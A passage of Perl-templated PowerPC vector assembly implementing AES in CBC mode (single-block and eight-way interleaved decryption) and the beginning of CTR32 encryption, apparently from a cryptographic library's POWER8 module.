?lvsl $keyperm,0,$key # prepare for unaligned key
lwz $rounds,240($key)
lvsr $inpperm,0,r11 # prepare for unaligned load
lvx $inptail,0,$inp
addi $inp,$inp,15 # 15 is not typo
le?vxor $inpperm,$inpperm,$tmp
?lvsr $outperm,0,$out # prepare for unaligned store
vspltisb $outmask,-1
lvx $outhead,0,$out
?vperm $outmask,$rndkey0,$outmask,$outperm
le?vxor $outperm,$outperm,$tmp
srwi $rounds,$rounds,1
li $idx,16
subi $rounds,$rounds,1
beq Lcbc_dec
Lcbc_enc:
vmr $inout,$inptail
lvx $inptail,0,$inp
addi $inp,$inp,16
mtctr $rounds
subi $len,$len,16 # len-=16
lvx $rndkey0,0,$key
vperm $inout,$inout,$inptail,$inpperm
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
vxor $inout,$inout,$ivec
Loop_cbc_enc:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipher $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
bdnz Loop_cbc_enc
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key
li $idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipherlast $ivec,$inout,$rndkey0
${UCMP}i $len,16
vperm $tmp,$ivec,$ivec,$outperm
vsel $inout,$outhead,$tmp,$outmask
vmr $outhead,$tmp
stvx $inout,0,$out
addi $out,$out,16
bge Lcbc_enc
b Lcbc_done
.align 4
Lcbc_dec:
${UCMP}i $len,128
bge _aesp8_cbc_decrypt8x
vmr $tmp,$inptail
lvx $inptail,0,$inp
addi $inp,$inp,16
mtctr $rounds
subi $len,$len,16 # len-=16
lvx $rndkey0,0,$key
vperm $tmp,$tmp,$inptail,$inpperm
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$tmp,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
Loop_cbc_dec:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vncipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vncipher $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
bdnz Loop_cbc_dec
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vncipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key
li $idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vncipherlast $inout,$inout,$rndkey0
${UCMP}i $len,16
vxor $inout,$inout,$ivec
vmr $ivec,$tmp
vperm $tmp,$inout,$inout,$outperm
vsel $inout,$outhead,$tmp,$outmask
vmr $outhead,$tmp
stvx $inout,0,$out
addi $out,$out,16
bge Lcbc_dec
Lcbc_done:
addi $out,$out,-1
lvx $inout,0,$out # redundant in aligned case
vsel $inout,$outhead,$inout,$outmask
stvx $inout,0,$out
neg $enc,$ivp # write [unaligned] iv
li $idx,15 # 15 is not typo
vxor $rndkey0,$rndkey0,$rndkey0
vspltisb $outmask,-1
le?vspltisb $tmp,0x0f
?lvsl $outperm,0,$enc
?vperm $outmask,$rndkey0,$outmask,$outperm
le?vxor $outperm,$outperm,$tmp
lvx $outhead,0,$ivp
vperm $ivec,$ivec,$ivec,$outperm
vsel $inout,$outhead,$ivec,$outmask
lvx $inptail,$idx,$ivp
stvx $inout,0,$ivp
vsel $inout,$ivec,$inptail,$outmask
stvx $inout,$idx,$ivp
mtspr 256,$vrsave
blr
.long 0
.byte 0,12,0x14,0,0,0,6,0
.long 0
___
#########################################################################
{{ # Optimized CBC decrypt procedure #
my $key_="r11";
my ($x00,$x10,$x20,$x30,$x40,$x50,$x60,$x70)=map("r$_",(0,8,26..31));
my ($in0, $in1, $in2, $in3, $in4, $in5, $in6, $in7 )=map("v$_",(0..3,10..13));
my ($out0,$out1,$out2,$out3,$out4,$out5,$out6,$out7)=map("v$_",(14..21));
my $rndkey0="v23"; # v24-v25 rotating buffer for first found keys
# v26-v31 last 6 round keys
my ($tmp,$keyperm)=($in3,$in4); # aliases with "caller", redundant assignment
$code.=<<___;
.align 5
_aesp8_cbc_decrypt8x:
$STU $sp,-`($FRAME+21*16+6*$SIZE_T)`($sp)
li r10,`$FRAME+8*16+15`
li r11,`$FRAME+8*16+31`
stvx v20,r10,$sp # ABI says so
addi r10,r10,32
stvx v21,r11,$sp
addi r11,r11,32
stvx v22,r10,$sp
addi r10,r10,32
stvx v23,r11,$sp
addi r11,r11,32
stvx v24,r10,$sp
addi r10,r10,32
stvx v25,r11,$sp
addi r11,r11,32
stvx v26,r10,$sp
addi r10,r10,32
stvx v27,r11,$sp
addi r11,r11,32
stvx v28,r10,$sp
addi r10,r10,32
stvx v29,r11,$sp
addi r11,r11,32
stvx v30,r10,$sp
stvx v31,r11,$sp
li r0,-1
stw $vrsave,`$FRAME+21*16-4`($sp) # save vrsave
li $x10,0x10
$PUSH r26,`$FRAME+21*16+0*$SIZE_T`($sp)
li $x20,0x20
$PUSH r27,`$FRAME+21*16+1*$SIZE_T`($sp)
li $x30,0x30
$PUSH r28,`$FRAME+21*16+2*$SIZE_T`($sp)
li $x40,0x40
$PUSH r29,`$FRAME+21*16+3*$SIZE_T`($sp)
li $x50,0x50
$PUSH r30,`$FRAME+21*16+4*$SIZE_T`($sp)
li $x60,0x60
$PUSH r31,`$FRAME+21*16+5*$SIZE_T`($sp)
li $x70,0x70
mtspr 256,r0
subi $rounds,$rounds,3 # -4 in total
subi $len,$len,128 # bias
lvx $rndkey0,$x00,$key # load key schedule
lvx v30,$x10,$key
addi $key,$key,0x20
lvx v31,$x00,$key
?vperm $rndkey0,$rndkey0,v30,$keyperm
addi $key_,$sp,$FRAME+15
mtctr $rounds
Load_cbc_dec_key:
?vperm v24,v30,v31,$keyperm
lvx v30,$x10,$key
addi $key,$key,0x20
stvx v24,$x00,$key_ # off-load round[1]
?vperm v25,v31,v30,$keyperm
lvx v31,$x00,$key
stvx v25,$x10,$key_ # off-load round[2]
addi $key_,$key_,0x20
bdnz Load_cbc_dec_key
lvx v26,$x10,$key
?vperm v24,v30,v31,$keyperm
lvx v27,$x20,$key
stvx v24,$x00,$key_ # off-load round[3]
?vperm v25,v31,v26,$keyperm
lvx v28,$x30,$key
stvx v25,$x10,$key_ # off-load round[4]
addi $key_,$sp,$FRAME+15 # rewind $key_
?vperm v26,v26,v27,$keyperm
lvx v29,$x40,$key
?vperm v27,v27,v28,$keyperm
lvx v30,$x50,$key
?vperm v28,v28,v29,$keyperm
lvx v31,$x60,$key
?vperm v29,v29,v30,$keyperm
lvx $out0,$x70,$key # borrow $out0
?vperm v30,v30,v31,$keyperm
lvx v24,$x00,$key_ # pre-load round[1]
?vperm v31,v31,$out0,$keyperm
lvx v25,$x10,$key_ # pre-load round[2]
#lvx $inptail,0,$inp # "caller" already did this
#addi $inp,$inp,15 # 15 is not typo
subi $inp,$inp,15 # undo "caller"
le?li $idx,8
lvx_u $in0,$x00,$inp # load first 8 "words"
le?lvsl $inpperm,0,$idx
le?vspltisb $tmp,0x0f
lvx_u $in1,$x10,$inp
le?vxor $inpperm,$inpperm,$tmp # transform for lvx_u/stvx_u
lvx_u $in2,$x20,$inp
le?vperm $in0,$in0,$in0,$inpperm
lvx_u $in3,$x30,$inp
le?vperm $in1,$in1,$in1,$inpperm
lvx_u $in4,$x40,$inp
le?vperm $in2,$in2,$in2,$inpperm
vxor $out0,$in0,$rndkey0
lvx_u $in5,$x50,$inp
le?vperm $in3,$in3,$in3,$inpperm
vxor $out1,$in1,$rndkey0
lvx_u $in6,$x60,$inp
le?vperm $in4,$in4,$in4,$inpperm
vxor $out2,$in2,$rndkey0
lvx_u $in7,$x70,$inp
addi $inp,$inp,0x80
le?vperm $in5,$in5,$in5,$inpperm
vxor $out3,$in3,$rndkey0
le?vperm $in6,$in6,$in6,$inpperm
vxor $out4,$in4,$rndkey0
le?vperm $in7,$in7,$in7,$inpperm
vxor $out5,$in5,$rndkey0
vxor $out6,$in6,$rndkey0
vxor $out7,$in7,$rndkey0
mtctr $rounds
b Loop_cbc_dec8x
.align 5
Loop_cbc_dec8x:
vncipher $out0,$out0,v24
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
vncipher $out5,$out5,v24
vncipher $out6,$out6,v24
vncipher $out7,$out7,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vncipher $out0,$out0,v25
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
vncipher $out5,$out5,v25
vncipher $out6,$out6,v25
vncipher $out7,$out7,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_cbc_dec8x
subic $len,$len,128 # $len-=128
vncipher $out0,$out0,v24
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
vncipher $out5,$out5,v24
vncipher $out6,$out6,v24
vncipher $out7,$out7,v24
subfe. r0,r0,r0 # borrow?-1:0
vncipher $out0,$out0,v25
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
vncipher $out5,$out5,v25
vncipher $out6,$out6,v25
vncipher $out7,$out7,v25
and r0,r0,$len
vncipher $out0,$out0,v26
vncipher $out1,$out1,v26
vncipher $out2,$out2,v26
vncipher $out3,$out3,v26
vncipher $out4,$out4,v26
vncipher $out5,$out5,v26
vncipher $out6,$out6,v26
vncipher $out7,$out7,v26
add $inp,$inp,r0 # $inp is adjusted in such
# way that at exit from the
# loop inX-in7 are loaded
# with last "words"
vncipher $out0,$out0,v27
vncipher $out1,$out1,v27
vncipher $out2,$out2,v27
vncipher $out3,$out3,v27
vncipher $out4,$out4,v27
vncipher $out5,$out5,v27
vncipher $out6,$out6,v27
vncipher $out7,$out7,v27
addi $key_,$sp,$FRAME+15 # rewind $key_
vncipher $out0,$out0,v28
vncipher $out1,$out1,v28
vncipher $out2,$out2,v28
vncipher $out3,$out3,v28
vncipher $out4,$out4,v28
vncipher $out5,$out5,v28
vncipher $out6,$out6,v28
vncipher $out7,$out7,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vncipher $out0,$out0,v29
vncipher $out1,$out1,v29
vncipher $out2,$out2,v29
vncipher $out3,$out3,v29
vncipher $out4,$out4,v29
vncipher $out5,$out5,v29
vncipher $out6,$out6,v29
vncipher $out7,$out7,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vncipher $out0,$out0,v30
vxor $ivec,$ivec,v31 # xor with last round key
vncipher $out1,$out1,v30
vxor $in0,$in0,v31
vncipher $out2,$out2,v30
vxor $in1,$in1,v31
vncipher $out3,$out3,v30
vxor $in2,$in2,v31
vncipher $out4,$out4,v30
vxor $in3,$in3,v31
vncipher $out5,$out5,v30
vxor $in4,$in4,v31
vncipher $out6,$out6,v30
vxor $in5,$in5,v31
vncipher $out7,$out7,v30
vxor $in6,$in6,v31
vncipherlast $out0,$out0,$ivec
vncipherlast $out1,$out1,$in0
lvx_u $in0,$x00,$inp # load next input block
vncipherlast $out2,$out2,$in1
lvx_u $in1,$x10,$inp
vncipherlast $out3,$out3,$in2
le?vperm $in0,$in0,$in0,$inpperm
lvx_u $in2,$x20,$inp
vncipherlast $out4,$out4,$in3
le?vperm $in1,$in1,$in1,$inpperm
lvx_u $in3,$x30,$inp
vncipherlast $out5,$out5,$in4
le?vperm $in2,$in2,$in2,$inpperm
lvx_u $in4,$x40,$inp
vncipherlast $out6,$out6,$in5
le?vperm $in3,$in3,$in3,$inpperm
lvx_u $in5,$x50,$inp
vncipherlast $out7,$out7,$in6
le?vperm $in4,$in4,$in4,$inpperm
lvx_u $in6,$x60,$inp
vmr $ivec,$in7
le?vperm $in5,$in5,$in5,$inpperm
lvx_u $in7,$x70,$inp
addi $inp,$inp,0x80
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $in6,$in6,$in6,$inpperm
vxor $out0,$in0,$rndkey0
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
le?vperm $in7,$in7,$in7,$inpperm
vxor $out1,$in1,$rndkey0
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x20,$out
vxor $out2,$in2,$rndkey0
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x30,$out
vxor $out3,$in3,$rndkey0
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x40,$out
vxor $out4,$in4,$rndkey0
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x50,$out
vxor $out5,$in5,$rndkey0
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x60,$out
vxor $out6,$in6,$rndkey0
stvx_u $out7,$x70,$out
addi $out,$out,0x80
vxor $out7,$in7,$rndkey0
mtctr $rounds
beq Loop_cbc_dec8x # did $len-=128 borrow?
addic. $len,$len,128
beq Lcbc_dec8x_done
nop
nop
Loop_cbc_dec8x_tail: # up to 7 "words" tail...
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
vncipher $out5,$out5,v24
vncipher $out6,$out6,v24
vncipher $out7,$out7,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
vncipher $out5,$out5,v25
vncipher $out6,$out6,v25
vncipher $out7,$out7,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_cbc_dec8x_tail
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
vncipher $out5,$out5,v24
vncipher $out6,$out6,v24
vncipher $out7,$out7,v24
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
vncipher $out5,$out5,v25
vncipher $out6,$out6,v25
vncipher $out7,$out7,v25
vncipher $out1,$out1,v26
vncipher $out2,$out2,v26
vncipher $out3,$out3,v26
vncipher $out4,$out4,v26
vncipher $out5,$out5,v26
vncipher $out6,$out6,v26
vncipher $out7,$out7,v26
vncipher $out1,$out1,v27
vncipher $out2,$out2,v27
vncipher $out3,$out3,v27
vncipher $out4,$out4,v27
vncipher $out5,$out5,v27
vncipher $out6,$out6,v27
vncipher $out7,$out7,v27
vncipher $out1,$out1,v28
vncipher $out2,$out2,v28
vncipher $out3,$out3,v28
vncipher $out4,$out4,v28
vncipher $out5,$out5,v28
vncipher $out6,$out6,v28
vncipher $out7,$out7,v28
vncipher $out1,$out1,v29
vncipher $out2,$out2,v29
vncipher $out3,$out3,v29
vncipher $out4,$out4,v29
vncipher $out5,$out5,v29
vncipher $out6,$out6,v29
vncipher $out7,$out7,v29
vncipher $out1,$out1,v30
vxor $ivec,$ivec,v31 # last round key
vncipher $out2,$out2,v30
vxor $in1,$in1,v31
vncipher $out3,$out3,v30
vxor $in2,$in2,v31
vncipher $out4,$out4,v30
vxor $in3,$in3,v31
vncipher $out5,$out5,v30
vxor $in4,$in4,v31
vncipher $out6,$out6,v30
vxor $in5,$in5,v31
vncipher $out7,$out7,v30
vxor $in6,$in6,v31
cmplwi $len,32 # switch($len)
blt Lcbc_dec8x_one
nop
beq Lcbc_dec8x_two
cmplwi $len,64
blt Lcbc_dec8x_three
nop
beq Lcbc_dec8x_four
cmplwi $len,96
blt Lcbc_dec8x_five
nop
beq Lcbc_dec8x_six
Lcbc_dec8x_seven:
vncipherlast $out1,$out1,$ivec
vncipherlast $out2,$out2,$in1
vncipherlast $out3,$out3,$in2
vncipherlast $out4,$out4,$in3
vncipherlast $out5,$out5,$in4
vncipherlast $out6,$out6,$in5
vncipherlast $out7,$out7,$in6
vmr $ivec,$in7
le?vperm $out1,$out1,$out1,$inpperm
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x00,$out
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x10,$out
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x20,$out
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x30,$out
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x40,$out
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x50,$out
stvx_u $out7,$x60,$out
addi $out,$out,0x70
b Lcbc_dec8x_done
.align 5
Lcbc_dec8x_six:
vncipherlast $out2,$out2,$ivec
vncipherlast $out3,$out3,$in2
vncipherlast $out4,$out4,$in3
vncipherlast $out5,$out5,$in4
vncipherlast $out6,$out6,$in5
vncipherlast $out7,$out7,$in6
vmr $ivec,$in7
le?vperm $out2,$out2,$out2,$inpperm
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x00,$out
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x10,$out
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x20,$out
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x30,$out
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x40,$out
stvx_u $out7,$x50,$out
addi $out,$out,0x60
b Lcbc_dec8x_done
.align 5
Lcbc_dec8x_five:
vncipherlast $out3,$out3,$ivec
vncipherlast $out4,$out4,$in3
vncipherlast $out5,$out5,$in4
vncipherlast $out6,$out6,$in5
vncipherlast $out7,$out7,$in6
vmr $ivec,$in7
le?vperm $out3,$out3,$out3,$inpperm
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x00,$out
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x10,$out
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x20,$out
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x30,$out
stvx_u $out7,$x40,$out
addi $out,$out,0x50
b Lcbc_dec8x_done
.align 5
Lcbc_dec8x_four:
vncipherlast $out4,$out4,$ivec
vncipherlast $out5,$out5,$in4
vncipherlast $out6,$out6,$in5
vncipherlast $out7,$out7,$in6
vmr $ivec,$in7
le?vperm $out4,$out4,$out4,$inpperm
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x00,$out
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x10,$out
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x20,$out
stvx_u $out7,$x30,$out
addi $out,$out,0x40
b Lcbc_dec8x_done
.align 5
Lcbc_dec8x_three:
vncipherlast $out5,$out5,$ivec
vncipherlast $out6,$out6,$in5
vncipherlast $out7,$out7,$in6
vmr $ivec,$in7
le?vperm $out5,$out5,$out5,$inpperm
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x00,$out
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x10,$out
stvx_u $out7,$x20,$out
addi $out,$out,0x30
b Lcbc_dec8x_done
.align 5
Lcbc_dec8x_two:
vncipherlast $out6,$out6,$ivec
vncipherlast $out7,$out7,$in6
vmr $ivec,$in7
le?vperm $out6,$out6,$out6,$inpperm
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x00,$out
stvx_u $out7,$x10,$out
addi $out,$out,0x20
b Lcbc_dec8x_done
.align 5
Lcbc_dec8x_one:
vncipherlast $out7,$out7,$ivec
vmr $ivec,$in7
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out7,0,$out
addi $out,$out,0x10
Lcbc_dec8x_done:
le?vperm $ivec,$ivec,$ivec,$inpperm
stvx_u $ivec,0,$ivp # write [unaligned] iv
li r10,`$FRAME+15`
li r11,`$FRAME+31`
stvx $inpperm,r10,$sp # wipe copies of round keys
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
stvx $inpperm,r10,$sp
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
stvx $inpperm,r10,$sp
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
stvx $inpperm,r10,$sp
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
mtspr 256,$vrsave
lvx v20,r10,$sp # ABI says so
addi r10,r10,32
lvx v21,r11,$sp
addi r11,r11,32
lvx v22,r10,$sp
addi r10,r10,32
lvx v23,r11,$sp
addi r11,r11,32
lvx v24,r10,$sp
addi r10,r10,32
lvx v25,r11,$sp
addi r11,r11,32
lvx v26,r10,$sp
addi r10,r10,32
lvx v27,r11,$sp
addi r11,r11,32
lvx v28,r10,$sp
addi r10,r10,32
lvx v29,r11,$sp
addi r11,r11,32
lvx v30,r10,$sp
lvx v31,r11,$sp
$POP r26,`$FRAME+21*16+0*$SIZE_T`($sp)
$POP r27,`$FRAME+21*16+1*$SIZE_T`($sp)
$POP r28,`$FRAME+21*16+2*$SIZE_T`($sp)
$POP r29,`$FRAME+21*16+3*$SIZE_T`($sp)
$POP r30,`$FRAME+21*16+4*$SIZE_T`($sp)
$POP r31,`$FRAME+21*16+5*$SIZE_T`($sp)
addi $sp,$sp,`$FRAME+21*16+6*$SIZE_T`
blr
.long 0
.byte 0,12,0x14,0,0x80,6,6,0
.long 0
.size .${prefix}_cbc_encrypt,.-.${prefix}_cbc_encrypt
___
}} }}}
#########################################################################
{{{ # CTR procedure[s] #
my ($inp,$out,$len,$key,$ivp,$x10,$rounds,$idx)=map("r$_",(3..10));
my ($rndkey0,$rndkey1,$inout,$tmp)= map("v$_",(0..3));
my ($ivec,$inptail,$inpperm,$outhead,$outperm,$outmask,$keyperm,$one)=
map("v$_",(4..11));
my $dat=$tmp;
$code.=<<___;
.globl .${prefix}_ctr32_encrypt_blocks
${UCMP}i $len,1
bltlr-
lis r0,0xfff0
mfspr $vrsave,256
mtspr 256,r0
li $idx,15
vxor $rndkey0,$rndkey0,$rndkey0
le?vspltisb $tmp,0x0f
lvx $ivec,0,$ivp # load [unaligned] iv
lvsl $inpperm,0,$ivp
lvx $inptail,$idx,$ivp
vspltisb $one,1
le?vxor $inpperm,$inpperm,$tmp
vperm $ivec,$ivec,$inptail,$inpperm
vsldoi $one,$rndkey0,$one,1
neg r11,$inp
?lvsl $keyperm,0,$key # prepare for unaligned key
lwz $rounds,240($key)
lvsr $inpperm,0,r11 # prepare for unaligned load
lvx $inptail,0,$inp
addi $inp,$inp,15 # 15 is not typo
le?vxor $inpperm,$inpperm,$tmp
srwi $rounds,$rounds,1
li $idx,16
subi $rounds,$rounds,1
${UCMP}i $len,8
bge _aesp8_ctr32_encrypt8x
?lvsr $outperm,0,$out # prepare for unaligned store
vspltisb $outmask,-1
lvx $outhead,0,$out
?vperm $outmask,$rndkey0,$outmask,$outperm
le?vxor $outperm,$outperm,$tmp
lvx $rndkey0,0,$key
mtctr $rounds
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$ivec,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
b Loop_ctr32_enc
.align 5
Loop_ctr32_enc:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipher $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
bdnz Loop_ctr32_enc
vadduwm $ivec,$ivec,$one
vmr $dat,$inptail
lvx $inptail,0,$inp
addi $inp,$inp,16
subic. $len,$len,1 # blocks--
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key
vperm $dat,$dat,$inptail,$inpperm
li $idx,16
?vperm $rndkey1,$rndkey0,$rndkey1,$keyperm
lvx $rndkey0,0,$key
vxor $dat,$dat,$rndkey1 # last round key
vcipherlast $inout,$inout,$dat
lvx $rndkey1,$idx,$key
addi $idx,$idx,16
vperm $inout,$inout,$inout,$outperm
vsel $dat,$outhead,$inout,$outmask
mtctr $rounds
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vmr $outhead,$inout
vxor $inout,$ivec,$rndkey0
lvx $rndkey0,$idx,$key
addi $idx,$idx,16
stvx $dat,0,$out
addi $out,$out,16
bne Loop_ctr32_enc
addi $out,$out,-1
lvx $inout,0,$out # redundant in aligned case
vsel $inout,$outhead,$inout,$outmask
stvx $inout,0,$out
mtspr 256,$vrsave
blr
.long 0
.byte 0,12,0x14,0,0,0,6,0
.long 0
___
#########################################################################
{{ # Optimized CTR procedure #
my $key_="r11";
my ($x00,$x10,$x20,$x30,$x40,$x50,$x60,$x70)=map("r$_",(0,8,26..31));
my ($in0, $in1, $in2, $in3, $in4, $in5, $in6, $in7 )=map("v$_",(0..3,10,12..14));
my ($out0,$out1,$out2,$out3,$out4,$out5,$out6,$out7)=map("v$_",(15..22));
my $rndkey0="v23"; # v24-v25 rotating buffer for first found keys
# v26-v31 last 6 round keys
my ($tmp,$keyperm)=($in3,$in4); # aliases with "caller", redundant assignment
my ($two,$three,$four)=($outhead,$outperm,$outmask);
$code.=<<___;
.align 5
_aesp8_ctr32_encrypt8x:
$STU $sp,-`($FRAME+21*16+6*$SIZE_T)`($sp)
li r10,`$FRAME+8*16+15`
li r11,`$FRAME+8*16+31`
stvx v20,r10,$sp # ABI says so
addi r10,r10,32
stvx v21,r11,$sp
addi r11,r11,32
stvx v22,r10,$sp
addi r10,r10,32
stvx v23,r11,$sp
addi r11,r11,32
stvx v24,r10,$sp
addi r10,r10,32
stvx v25,r11,$sp
addi r11,r11,32
stvx v26,r10,$sp
addi r10,r10,32
stvx v27,r11,$sp
addi r11,r11,32
stvx v28,r10,$sp
addi r10,r10,32
stvx v29,r11,$sp
addi r11,r11,32
stvx v30,r10,$sp
stvx v31,r11,$sp
li r0,-1
stw $vrsave,`$FRAME+21*16-4`($sp) # save vrsave
li $x10,0x10
$PUSH r26,`$FRAME+21*16+0*$SIZE_T`($sp)
li $x20,0x20
$PUSH r27,`$FRAME+21*16+1*$SIZE_T`($sp)
li $x30,0x30
$PUSH r28,`$FRAME+21*16+2*$SIZE_T`($sp)
li $x40,0x40
$PUSH r29,`$FRAME+21*16+3*$SIZE_T`($sp)
li $x50,0x50
$PUSH r30,`$FRAME+21*16+4*$SIZE_T`($sp)
li $x60,0x60
$PUSH r31,`$FRAME+21*16+5*$SIZE_T`($sp)
li $x70,0x70
mtspr 256,r0
subi $rounds,$rounds,3 # -4 in total
lvx $rndkey0,$x00,$key # load key schedule
lvx v30,$x10,$key
addi $key,$key,0x20
lvx v31,$x00,$key
?vperm $rndkey0,$rndkey0,v30,$keyperm
addi $key_,$sp,$FRAME+15
mtctr $rounds
Load_ctr32_enc_key:
?vperm v24,v30,v31,$keyperm
lvx v30,$x10,$key
addi $key,$key,0x20
stvx v24,$x00,$key_ # off-load round[1]
?vperm v25,v31,v30,$keyperm
lvx v31,$x00,$key
stvx v25,$x10,$key_ # off-load round[2]
addi $key_,$key_,0x20
bdnz Load_ctr32_enc_key
lvx v26,$x10,$key
?vperm v24,v30,v31,$keyperm
lvx v27,$x20,$key
stvx v24,$x00,$key_ # off-load round[3]
?vperm v25,v31,v26,$keyperm
lvx v28,$x30,$key
stvx v25,$x10,$key_ # off-load round[4]
addi $key_,$sp,$FRAME+15 # rewind $key_
?vperm v26,v26,v27,$keyperm
lvx v29,$x40,$key
?vperm v27,v27,v28,$keyperm
lvx v30,$x50,$key
?vperm v28,v28,v29,$keyperm
lvx v31,$x60,$key
?vperm v29,v29,v30,$keyperm
lvx $out0,$x70,$key # borrow $out0
?vperm v30,v30,v31,$keyperm
lvx v24,$x00,$key_ # pre-load round[1]
?vperm v31,v31,$out0,$keyperm
lvx v25,$x10,$key_ # pre-load round[2]
vadduqm $two,$one,$one
subi $inp,$inp,15 # undo "caller"
$SHL $len,$len,4
vadduqm $out1,$ivec,$one # counter values ...
vadduqm $out2,$ivec,$two
vxor $out0,$ivec,$rndkey0 # ... xored with rndkey[0]
le?li $idx,8
vadduqm $out3,$out1,$two
vxor $out1,$out1,$rndkey0
le?lvsl $inpperm,0,$idx
vadduqm $out4,$out2,$two
vxor $out2,$out2,$rndkey0
le?vspltisb $tmp,0x0f
vadduqm $out5,$out3,$two
vxor $out3,$out3,$rndkey0
le?vxor $inpperm,$inpperm,$tmp # transform for lvx_u/stvx_u
vadduqm $out6,$out4,$two
vxor $out4,$out4,$rndkey0
vadduqm $out7,$out5,$two
vxor $out5,$out5,$rndkey0
vadduqm $ivec,$out6,$two # next counter value
vxor $out6,$out6,$rndkey0
vxor $out7,$out7,$rndkey0
mtctr $rounds
b Loop_ctr32_enc8x
.align 5
Loop_ctr32_enc8x:
vcipher $out0,$out0,v24
vcipher $out1,$out1,v24
vcipher $out2,$out2,v24
vcipher $out3,$out3,v24
vcipher $out4,$out4,v24
vcipher $out5,$out5,v24
vcipher $out6,$out6,v24
vcipher $out7,$out7,v24
Loop_ctr32_enc8x_middle:
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vcipher $out0,$out0,v25
vcipher $out1,$out1,v25
vcipher $out2,$out2,v25
vcipher $out3,$out3,v25
